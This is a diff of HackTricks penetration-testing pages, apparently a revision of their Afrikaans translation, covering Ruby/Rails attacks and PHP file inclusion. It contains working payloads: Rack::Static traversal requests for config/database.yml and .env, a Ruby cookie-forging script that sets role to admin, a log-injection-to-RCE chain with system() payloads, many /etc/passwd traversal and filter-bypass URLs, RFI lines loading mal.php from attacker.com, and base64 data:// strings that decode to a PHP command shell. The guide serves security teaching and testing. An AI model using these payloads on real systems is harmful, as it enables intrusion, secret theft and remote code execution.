-- Fuzz `params[:t]` en `params[:v]` vir verdagte foute of uitvoering-newe-effekte. As jy die method name kan beïnvloed of rou argumente kan deurgee wat MiniMagick bereik, kan jy code exec op die image processor host kry.
-- As jy slegs read-access tot gegenereerde variants het, probeer blind exfiltration via gemanierde ImageMagick-operasies.
+- Identifiseer enige endpoints wat variant/processing opsies, transformasie-name, of arbitrêre ImageMagick-argumente aanvaar.
+- Fuzz `params[:t]` en `params[:v]` vir verdagte foute of uitvoering-newe-effekte. As jy die metodesnaam kan beïnvloed of rou argumente kan deurgee wat MiniMagick bereik, kan jy code exec op die image processor-host kry.
+- As jy slegs read-access tot gegenereerde variante het, probeer blind exfiltration via vervaardigde ImageMagick-operasies.
-- Remediëring/detektering
-- As jy Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 sien met Active Storage + `image_processing` + `mini_magick` en user-controlled transformations, beskou dit as exploitable. Raai aan om op te gradeer en streng allowlists vir methods/params af te dwing en 'n geharde ImageMagick-policy te gebruik.
+- Remediëring/deteksie
+- As jy Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 met Active Storage + `image_processing` + `mini_magick` en user-controlled transformasies sien, beskou dit as uitbuitbaar. Raai aan om op te gradeer en streng allowlists vir metodes/params af te dwing en 'n geharde ImageMagick-beleid te implementeer.
## Rack::Static LFI / path traversal (CVE-2025-27610)
-As die teiken-stack Rack middleware direk of via frameworks gebruik, laat weergawes van `rack` voor 2.2.13, 3.0.14, en 3.1.12 Local File Inclusion via `Rack::Static` toe wanneer `:root` nie gestel/misconfigureer is nie. Gekodeerde traversal in `PATH_INFO` kan lêers onder die proses se werkgids of 'n onverwagte root blootstel.
+As die teiken-stapel Rack middleware direk of via frameworks gebruik, laat weergawes van `rack` voor 2.2.13, 3.0.14, en 3.1.12 Local File Inclusion via `Rack::Static` toe wanneer `:root` nie gestel is of verkeerd gekonfigureer is. Gekodeerde traversering in `PATH_INFO` kan lêers blootstel onder die proses se werkgids of 'n onverwagte root.
-- Soek na apps wat `Rack::Static` in `config.ru` of middleware stacks mount. Probeer gekodeerde traversals teen statiese paaie, byvoorbeeld:
+- Soek na apps wat `Rack::Static` in `config.ru` of middleware-stakke mounte. Probeer gekodeerde traverserings teen statiese paaie, byvoorbeeld:
```text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
```
Pas die prefix aan om by die geconfigureerde `urls:` te pas. As die app met lêerininhoud reageer, het jy waarskynlik LFI na enigiets onder die opgeloste `:root`.
-- Mitigering: upgrade Rack; verseker dat `:root` slegs na 'n gids met publieke lêers wys en eksplisiet gestel is.
+- Mitigasie: werk Rack op; maak seker dat `:root` slegs na 'n gids met openbare lêers wys en uitdruklik gestel is.
-## Forging/decrypting Rails cookies when `secret_key_base` is leaked
+## Vervalste/ontsleuteling van Rails cookies wanneer `secret_key_base` is leaked
Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
-Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
+Minimal Ruby om moderne cookies te ontsleutel en weer te her-enkripteer (AES-256-GCM, default in recent Rails):
```ruby
require 'cgi'
require 'json'
@@ -70,13 +70,13 @@ plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
```
-Aantekeninge:
-- Ouer toepassings mag AES-256-CBC en salts `encrypted cookie` / `signed encrypted cookie` of JSON/Marshal serializers gebruik. Pas salts, cipher en serializer dienooreenkomstig aan.
+Notas:
+- Ouer apps mag AES-256-CBC en soute `encrypted cookie` / `signed encrypted cookie` gebruik, of JSON/Marshal serializers. Pas soute, cipher, en serializer ooreenkomstig aan.
- By kompromittering of assessering, roteer `secret_key_base` om alle bestaande cookies ongeldig te maak.
-## Sien ook (Ruby/Rails-spesifieke kwetsbaarhede)
+## Sien ook (Ruby/Rails-spesifieke kwesbaarhede)
-- Ruby deserialization and class pollution:
+- Ruby deserialisering en klassebesoedeling:
{{#ref}}
../../pentesting-web/deserialization/README.md
{{#endref}}
@@ -86,15 +86,89 @@ Aantekeninge:
{{#ref}}
../../pentesting-web/deserialization/ruby-_json-pollution.md
{{#endref}}
-- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
+- Sjabloon-inspuiting in Ruby engines (ERB/Haml/Slim, ens.):
{{#ref}}
../../pentesting-web/ssti-server-side-template-injection/README.md
{{#endref}}
+## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smokkeling
-## Verwysings
+Wanneer 'n app (dikwels 'n eenvoudige Rack/Sinatra/Rails-endpoint) beide:
+- log 'n string wat deur die gebruiker beheer word woordeliks, en
+- later `load` 'n lêer waarvan die pad afgelei is van dieselfde string (na `Pathname#cleanpath`),
+
+kan jy dikwels afgeleë kode-uitvoering bereik deur die log te vergiftig en dan die app te dwing om die log-lêer te `load`. Sleutel-primitiewe:
+
+- Ruby `load` evalueer die teikenslêer se inhoud as Ruby ongeag die lêeruitbreiding. Enige leesbare tekslêer waarvan die inhoud as Ruby gepars kan word, sal uitgevoer word.
+- `Pathname#cleanpath` vou `.` en `..` segmente saam sonder om die filesystem te tref, wat pad-smokkeling moontlik maak: deur aanvaller beheerde rommel kan voorafgeplak word vir logging terwyl die gesuiwerde pad steeds na die beoogde lêer oplos om uitgevoer te word (bv. `../logs/error.log`).
+
+### Minimale kwesbare patroon
+```ruby
+require 'logger'
+require 'pathname'
+
+logger = Logger.new('logs/error.log')
+param = CGI.unescape(params[:script])
+path_obj = Pathname.new(param)
+
+logger.info("Running backup script #{param}") # Raw log of user input
+load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
+```
+### Waarom die log geldige Ruby kan bevat
+`Logger` skryf voorvoegselreëls soos:
+```
+I, [9/2/2025 #209384] INFO -- : Running backup script
+```
+In Ruby begin `#` 'n kommentaar, en `9/2/2025` is net rekenkunde. Om geldige Ruby-kode te inject, moet jy:
+- Begin jou payload op 'n nuwe reël sodat dit nie deur die `#` in die INFO line uitgekommenteer word nie; stuur 'n voorloop-nuwe reël (`\n` of `%0A`).
+- Sluit die hangende `[` wat deur die INFO line geïntroduseer is. 'n Algemene truuk is om te begin met `]` en opsioneel die parser gelukkig te maak met `][0]=1`.
+- Plaas dan arbitrêre Ruby (bv. `system(...)`).
+
+Voorbeeld van wat in die log sal beland na een request met 'n crafted param:
+```
+I, [9/2/2025 #209384] INFO -- : Running backup script
+][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
+```
+### Smuggling 'n enkele string wat beide kode log en na die log-pad oplos
+Ons wil een aanvaller-beheerde string hê wat:
+- wanneer dit rou gelog word, bevat dit ons Ruby payload, en
+- wanneer dit deur `Pathname.new().cleanpath` gegee word, oplos na `../logs/error.log` sodat die daaropvolgende `load` die pas-vergiftigde loglêer uitvoer.
+
+`Pathname#cleanpath` ignoreer skemas en vou traverseringskomponente saam, dus werk die volgende:
+```ruby
+require 'pathname'
+
+p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
+puts p.cleanpath # => ../logs/error.log
+```
+- Die `#` voor `://` verseker dat Ruby die staart negeer wanneer die log uitgevoer word, terwyl `cleanpath` steeds die agtervoegsel verminder na `../logs/error.log`.
+- Die voorste newline breek uit die INFO-lyn; `]` sluit die hangende hakie; `][0]=1` voldoen aan die parser.
+
+### End-to-end exploitation
+1. Stuur die volgende as die backup script-naam (URL-encode die eerste newline as `%0A` indien nodig):
+```
+\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
+```
+2. Die app log jou rou string in `logs/error.log`.
+3. Die app bereken `cleanpath` wat oplos na `../logs/error.log` en roep `load` daarop aan.
+4. Ruby voer die kode wat jy in die log ingespuit het uit.
+
+To exfiltrate a file in a CTF-like environment:
+```
+\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
+```
+URL-encoded PoC (eerste char is 'n newline):
+```
+%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
+```
+## References
+
+- Rails Sekuriteitsaankondiging: CVE-2025-24293 Active Storage onveilige transformasiemetodes (hersteld in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
+- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
+- [Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44)
+- [Ruby Pathname.cleanpath docs](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath)
+- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html)
+- [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html)
-- Rails Sekuriteitsaankondiging: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
-- GitHub-advies: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md
index 569b603a6..6b5c4c45c 100644
--- a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md
+++ b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md
@@ -13,12 +13,11 @@ msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
```bash
msf> auxiliary/scanner/vmware/vmware_http_login
```
-As jy valid credentials vind, kan jy meer metasploit scanner modules gebruik om inligting te verkry.
-
+As jy geldige credentials vind, kan jy meer metasploit scanner modules gebruik om inligting te verkry.
### Sien ook
-Linux LPE via VMware Tools diensontdekking (CWE-426 / CVE-2025-41244):
+Linux LPE deur VMware Tools diensontdekking (CWE-426 / CVE-2025-41244):
{{#ref}}
../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md
index 6f72931e7..b9343733e 100644
--- a/src/pentesting-web/file-inclusion/README.md
+++ b/src/pentesting-web/file-inclusion/README.md
@@ -4,50 +4,50 @@
## File Inclusion
-**Remote File Inclusion (RFI):** Die lêer word vanaf 'n afgeleë bediener gelaai (Beste: Jy kan die kode skryf en die bediener sal dit uitvoer). In php is dit **ongeskakel** by verstek (**allow_url_include**).\
-**Local File Inclusion (LFI):** Die bediener laai 'n plaaslike lêer.
+**Remote File Inclusion (RFI):** Die lêer word vanaf 'n afgeleë server gelaai (Beste: Jy kan die kode skryf en die server sal dit uitvoer). In php is dit **ongeskakel** per verstek (**allow_url_include**).\
+**Local File Inclusion (LFI):** Die server laai 'n plaaslike lêer.
-Die kwesbaarheid ontstaan wanneer die gebruiker op een of ander manier die lêer kan beheer wat deur die bediener gelaai gaan word.
+Die kwesbaarheid ontstaan wanneer die gebruiker op een of ander manier die lêer kan beheer wat deur die server gelaai gaan word.
Kwetsbare **PHP functions**: require, require_once, include, include_once
-'n Interessante hulpmiddel om hierdie kwesbaarheid te misbruik: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
+'n Interessante hulpmiddel om hierdie kwesbaarheid uit te buit: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
-## Blind - Interessant - LFI2RCE lêers
+## Blind - Interesting - LFI2RCE files
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
### **Linux**
-**Deur verskeie *nix LFI-lysies te meng en meer paaie by te voeg het ek hierdie een geskep:**
+**Deur verskeie \*nix LFI-lyste te kombineer en meer paadjies by te voeg het ek hierdie een geskep:**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
-Probeer ook om `/` met `\` te vervang.
-Probeer ook om `../../../../../` by te voeg.
+Probeer ook om `/` na `\` te verander\
+Probeer ook om `../../../../../` by te voeg
-A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
+'n Lys wat verskeie tegnieke gebruik om die lêer /etc/password te vind (om te kontroleer of die kwesbaarheid bestaan) kan gevind word [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
-Samevoeging van verskillende wordlists:
+Samevoeging van verskillende woordlyste:
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
-Probeer ook om `/` met `\` te vervang.
-Probeer ook om `C:/` te verwyder en `../../../../../` by te voeg.
+Probeer ook om `/` na `\` te verander\
+Probeer ook om `C:/` te verwyder en `../../../../../` by te voeg
-A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
+'n Lys wat verskeie tegnieke gebruik om die lêer /boot.ini te vind (om te kontroleer of die kwesbaarheid bestaan) kan gevind word [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
-Kyk na die LFI-lys van linux.
+Kyk na die LFI-lys van Linux.
## Basiese LFI en omseilings
@@ -55,7 +55,7 @@ Al die voorbeelde is vir Local File Inclusion maar kan ook op Remote File Inclus
```
http://example.com/index.php?page=../../../etc/passwd
```
-### traversal sequences nie-rekursief verwyder
+### traversal sequences geskrap nie-rekursief
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
@@ -63,7 +63,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
-Bypass die byvoeging van ekstra karakters aan die einde van die gegewe string (bypass of: $\_GET\['param']."php")
+Om die byvoeging van ekstra karakters aan die einde van die gegewe string te omseil (omseiling van: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
@@ -78,44 +78,44 @@ http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
-### Vanaf bestaande vouer
+### Van bestaande gids
-Miskien kontroleer die back-end die vouerpad:
+Miskien kontroleer die back-end die gids-pad:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
-### Verken lêerstelsel-direktore op 'n bediener
+### Verken lêerstelsel-gidse op 'n bediener
-Die lêerstelsel van 'n bediener kan rekursief verken word om direktore, nie net lêers nie, te identifiseer deur sekere tegnieke toe te pas. Hierdie proses behels die bepaling van die direktorie-diepte en die peiling vir die bestaan van spesifieke gidse. Hieronder is 'n gedetailleerde metode om dit te bereik:
+Die lêerstelsel van 'n bediener kan rekursief verken word om gidses, nie net lêers, te identifiseer deur sekere tegnieke te gebruik. Hierdie proses behels die bepaling van die gidsdiepte en die ondersoek na die bestaan van spesifieke vouers. Hieronder is 'n gedetailleerde metode om dit te bereik:
-1. **Bepaal direktorie-diepte:** Bepaal die diepte van jou huidige direktorie deur suksesvol die `/etc/passwd`-lêer te haal (van toepassing as die bediener op Linux gebaseer is). 'n Voorbeeld-URL kan soos volg gestruktureer wees, wat 'n diepte van drie aandui:
+1. **Bepaal die gidsdiepte:** Bepaal die diepte van jou huidige gids deur suksesvol die `/etc/passwd`-lêer te haal (van toepassing as die bediener op Linux gebaseer is). 'n Voorbeeld-URL kan soos volg gestruktureer wees, wat 'n diepte van drie aandui:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
-2. **Ondersoek vouers:** Voeg die naam van die vermoedelike gids (bv., `private`) by die URL, en navigeer dan terug na `/etc/passwd`. Die ekstra gidsvlak vereis dat die diepte met een verhoog word:
+2. **Soek na vouers:** Voeg die naam van die vermoedlike gids (bv. `private`) by die URL en navigeer dan terug na `/etc/passwd`. Die ekstra gidsvlak vereis dat die diepte met een verhoog:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
-3. **Interpreteer die Resultate:** Die bediener se reaksie dui aan of die gids bestaan:
-- **Fout / Geen Uitset:** Die gids `private` bestaan waarskynlik nie op die gespesifiseerde ligging nie.
-- **Inhoud van `/etc/passwd`:** Die teenwoordigheid van die gids `private` is bevestig.
-4. **Rekursiewe Verkenning:** Ontdekte gidse kan verder probeer word vir subgidse of lêers deur dieselfde tegniek of tradisionele Local File Inclusion (LFI)-metodes te gebruik.
+3. **Interpreteer die Uitkomste:** Die server se reaksie dui aan of die gids bestaan:
+- **Fout / Geen Uitset:** Die gids `private` bestaan waarskynlik nie by die gespesifiseerde ligging nie.
+- **Inhoud van `/etc/passwd`:** Die teenwoordigheid van die `private` gids is bevestig.
+4. **Rekursiewe Verkenning:** Ontdekte gidse kan verder ondersoek word vir subgidse of lêers met dieselfde tegniek of tradisionele Local File Inclusion (LFI)-metodes.
-Om gidse op verskillende plekke in die lêerstelsel te verken, pas die payload ooreenkomstig aan. Byvoorbeeld, om te kontroleer of `/var/www/` `private` bevat (aangenome dat die huidige gids op 'n diepte van 3 is), gebruik:
+Om gidse in ander plekke van die lêerstelsel te verken, pas die payload dienooreenkomstig aan. Byvoorbeeld, om te kontroleer of `/var/www/` `n `private` gids bevat (aannemend die huidige gids is op 'n diepte van 3), gebruik:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
-Path truncation is 'n metode wat gebruik word om lêerpaaie in webtoepassings te manipuleer. Dit word dikwels gebruik om toegang tot beperkte lêers te kry deur sekere sekuriteitsmaatreëls wat ekstra karakters aan die einde van lêerpaaie toevoeg, te omseil. Die doel is om 'n lêerpad te skep wat, nadat dit deur die sekuriteitsmaatreël verander is, steeds na die beoogde lêer wys.
+Path truncation is 'n metode wat gebruik word om lêerpaaie in webtoepassings te manipuleer. Dit word dikwels gebruik om beperkte lêers te bereik deur sekere sekuriteitsmaatreëls te omseil wat ekstra karakters aan die einde van lêerpaaie heg. Die doel is om 'n lêerpad te skep wat, nadat dit deur die sekuriteitsmaatreël verander is, steeds na die gewenste lêer wys.
In PHP kan verskeie voorstellings van 'n lêerpad as ekwivalent beskou word weens die aard van die lêerstelsel. Byvoorbeeld:
-- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` word almal as dieselfde pad beskou.
+- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, en `/etc/passwd/` word almal as dieselfde pad behandel.
- Wanneer die laaste 6 karakters `passwd` is, verander die toevoeging van 'n `/` (waardeur dit `passwd/` word) nie die geteikende lêer nie.
-- Net so, as `.php` bygevoeg word by 'n lêerpad (soos `shellcode.php`), sal die byvoeging van `/.` aan die einde nie die toegang tot die lêer verander nie.
+- Net so, as `.php` aan 'n lêerpad aangeheg word (bv. `shellcode.php`), sal die toevoeging van `/.` aan die einde nie die lêer wat bereik word verander nie.
-Die onderstaande voorbeelde demonstreer hoe om path truncation te gebruik om toegang tot `/etc/passwd` te kry, 'n algemene teiken weens die sensitiewe inhoud daarvan (gebruikersrekeninginligting):
+Die gegewe voorbeelde wys hoe om path truncation te gebruik om toegang tot `/etc/passwd` te kry, 'n algemene teiken weens die sensitiewe inhoud daarvan (gebruikersrekeninginligting):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@@ -125,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
-In hierdie scenario's kan die aantal traversals wat benodig word ongeveer 2027 wees, maar hierdie getal kan wissel op grond van die bediener se konfigurasie.
+In hierdie scenario's kan die aantal traversals wat benodig word ongeveer 2027 wees, maar hierdie getal kan wissel afhangende van die server se konfigurasie.
-- **Gebruik van dot-segmante en bykomende karakters**: Traversal sequences (`../`) in kombinasie met ekstra dot-segmante en karakters kan gebruik word om deur die lêerstelsel te navigeer, en effektief aangehegte stringe deur die bediener te ignoreer.
-- **Bepaling van die vereiste aantal traversals**: Deur proef-en-fout kan mens die presiese aantal `../`-reekse vind wat nodig is om na die root-gids te navigeer en dan na `/etc/passwd`, en sodoende enige aangehegte stringe (soos `.php`) te neutraliseer terwyl die gewenste pad (`/etc/passwd`) ongeskonde bly.
-- **Begin met 'n nie-bestaande gids**: Dit is 'n algemene praktyk om die pad te begin met 'n nie-bestaande gids (soos `a/`). Hierdie tegniek word as 'n voorsorgmaatreël gebruik of om die vereistes van die bediener se padparseringslogika te vervul.
+- **Using Dot Segments and Additional Characters**: Traversal-sekwensies (`../`) gekombineer met ekstra puntsegmente en karakters kan gebruik word om deur die lêerstelsel te navigeer, en daarmee aangehegte stringe deur die server effektief te ignoreer.
+- **Determining the Required Number of Traversals**: Deur proef en fout kan 'n mens die presiese aantal `../`-reekse vind wat benodig word om na die root-gids te navigeer en dan na `/etc/passwd`, en sodoende enige aangehegte stringe (soos `.php`) te neutraliseer terwyl die verlangde pad (`/etc/passwd`) ongeskonde bly.
+- **Starting with a Fake Directory**: Dit is 'n algemene praktyk om die pad te begin met 'n nie-bestaande gids (soos `a/`). Hierdie tegniek word as 'n voorsorgmaatreël gebruik of om te voldoen aan die vereistes van die server se padparsingslogika.
-Wanneer padtronkeringstegnieke gebruik word, is dit van kardinale belang om die bediener se padparseringsgedrag en lêerstelselstruktuur te verstaan. Elke scenario kan 'n verskillende benadering vereis, en toetsing is dikwels nodig om die mees doeltreffende metode te vind.
+When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
-**Hierdie kwesbaarheid is in PHP 5.3 reggestel.**
+**Hierdie kwesbaarheid is reggestel in PHP 5.3.**
-### **Filter-omseilingstrieke**
+### **Filter bypass tricks**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
@@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
-In php is dit standaard gedeaktiveer omdat **`allow_url_include`** op **Off** is. Dit moet op **On** wees om te werk, en in daardie geval kan jy 'n PHP-lêer van jou bediener insluit en RCE kry:
+In php is dit standaard uitgeschakel omdat **`allow_url_include`** op **Off.** gestel is. Dit moet op **On** wees om te werk, en in daardie geval kan jy 'n PHP-lêer vanaf jou bediener insluit en RCE kry:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
-As daar om een of ander rede **`allow_url_include`** **On** is, maar PHP toegang tot eksterne webblaaie **filtreer**, [volgens hierdie post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), kan jy byvoorbeeld die data protocol met base64 gebruik om 'n b64 PHP code te decode en RCE te kry:
+As om een of ander rede **`allow_url_include`** op **On** is, maar PHP is **filtering** toegang tot eksterne webblaaie, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), kan jy byvoorbeeld die data protocol met base64 gebruik om 'n b64 PHP-kode te decodeer en RCE te kry:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
-> In die vorige kode is die finale `+.txt` bygevoeg omdat die attacker 'n string nodig gehad het wat op `.txt` eindig, so die string daarmee eindig en na die b64 decode sal daardie deel net rommel teruggee en die werklike PHP-kode ingesluit word (en dus uitgevoer).
+> In die vorige kode is die finale `+.txt` bygevoeg omdat die aanvaller 'n string benodig het wat op `.txt` eindig, dus die string daarmee eindig en na die b64 decode sal daardie deel net rommel teruggee en die werklike PHP-kode ingesluit word (en gevolglik uitgevoer).
-Nog 'n voorbeeld **wat nie die `php://` protokol gebruik nie** sou wees:
+Nog 'n voorbeeld **wat nie die `php://` protocol gebruik nie** sou wees:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
-## Python Wortel-element
+## Python Wortelelement
-In Python, in 'n kode soos hierdie:
+In python in 'n kode soos hierdie:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
-As die gebruiker 'n **absolute path** aan **`file_name`** deurgee, word die **vorige pad net verwyder**:
+As die gebruiker 'n **absolute pad** aan **`file_name`** deurgee, word die **vorige pad net verwyder**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
-Dit is die bedoelde gedrag volgens [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
+Dit is die beoogde gedrag volgens [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
-> As 'n komponent 'n absolute pad is, word alle vorige komponente weggegooi en gaan die samevoeging voort vanaf die absolute pad-komponent.
+> If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.
-## Java Lys van gidse
+## Java - lys van gidse
-Dit lyk of, as jy 'n Path Traversal in Java het en jy **vra vir 'n gids** in plaas van 'n lêer, 'n **lys van die gids teruggegee word**. Dit sal nie in ander tale gebeur nie (afaik).
+Dit lyk asof as jy 'n Path Traversal in Java het en jy **vra vir 'n gids** in plaas van 'n lêer, 'n **lys van die gids teruggegee** word. Dit sal nie in ander tale gebeur nie (sover ek weet).
## Top 25 parameters
-Hier is 'n lys van die Top 25 parameters wat kwesbaar kan wees vir local file inclusion (LFI) kwetsbaarhede (van [link](https://twitter.com/trbughunters/status/1279768631845494787)):
+Hier is 'n lys van die Top 25 parameters wat vatbaar kan wees vir local file inclusion (LFI) kwesbaarhede (van [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@@ -211,38 +211,38 @@ Hier is 'n lys van die Top 25 parameters wat kwesbaar kan wees vir local file in
?mod={payload}
?conf={payload}
```
-## LFI / RFI met PHP-wrappers & protokolle
+## LFI / RFI gebruik van PHP wrappers & protokolle
### php://filter
-PHP filters laat toe om basiese **wysigingsoperasies op die data** uit te voer voordat dit gelees of geskryf word. Daar is 5 kategorieë filters:
+PHP-filters laat toe om basiese **wysigingsoperasies op die data** uit te voer voordat dit gelees of geskryf word. Daar is 5 kategorieë filters:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
-- `string.strip_tags`: Verwyder tags uit die data (alles tussen die "<" en ">" karakters)
-- Let daarop dat hierdie filter in moderne weergawes van PHP verdwyn het
+- `string.strip_tags`: Verwyder tags uit die data (alles tussen "<" en ">" karakters)
+- Note that this filter has disappear from the modern versions of PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
-- `convert.iconv.*` : Transformeer na 'n ander enkoding (`convert.iconv..`). Om die **lys van alle enkodings** wat ondersteun word te kry, voer in die konsole: `iconv -l`
+- `convert.iconv.*` : Transformeer na 'n ander enkodering (`convert.iconv..`). Om die **lys van alle enkoderinge** wat ondersteun word te kry, voer in die konsole uit: `iconv -l`
> [!WARNING]
-> Deur misbruik van die `convert.iconv.*` omskakelingsfilter kan jy **arbitrêre teks genereer**, wat nuttig kan wees om arbitrêre teks te skryf of om 'n funksie soos include arbitrêre teks te laat verwerk. Vir meer inligting kyk [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
+> Deur die `convert.iconv.*` omskakelingsfilter te misbruik kan jy **arbitrêre teks genereer**, wat nuttig kan wees om arbitrêre teks te skryf of om 'n funksie soos include arbitrêre teks te laat verwerk. Vir meer inligting sien [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
-- `zlib.deflate`: Komprimeer die inhoud (nuttig as jy baie info wil exfiltrate)
+- `zlib.deflate`: Komprimeer die inhoud (useful if exfiltrating a lot of info)
- `zlib.inflate`: Dekomprimeer die data
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Verouderd
- `mdecrypt.*` : Verouderd
-- Ander Filters
-- As jy in PHP `var_dump(stream_get_filters());` uitvoer, kan jy 'n paar **onverwagte filters** vind:
+- Other Filters
+- As jy in PHP `var_dump(stream_get_filters());` uitvoer kan jy 'n paar **onverwagte filters** vind:
- `consumed`
-- `dechunk`: draai HTTP chunked encoding om
+- `dechunk`: keer HTTP chunked encoding om
- `convert.*`
```php
# String Filters
@@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
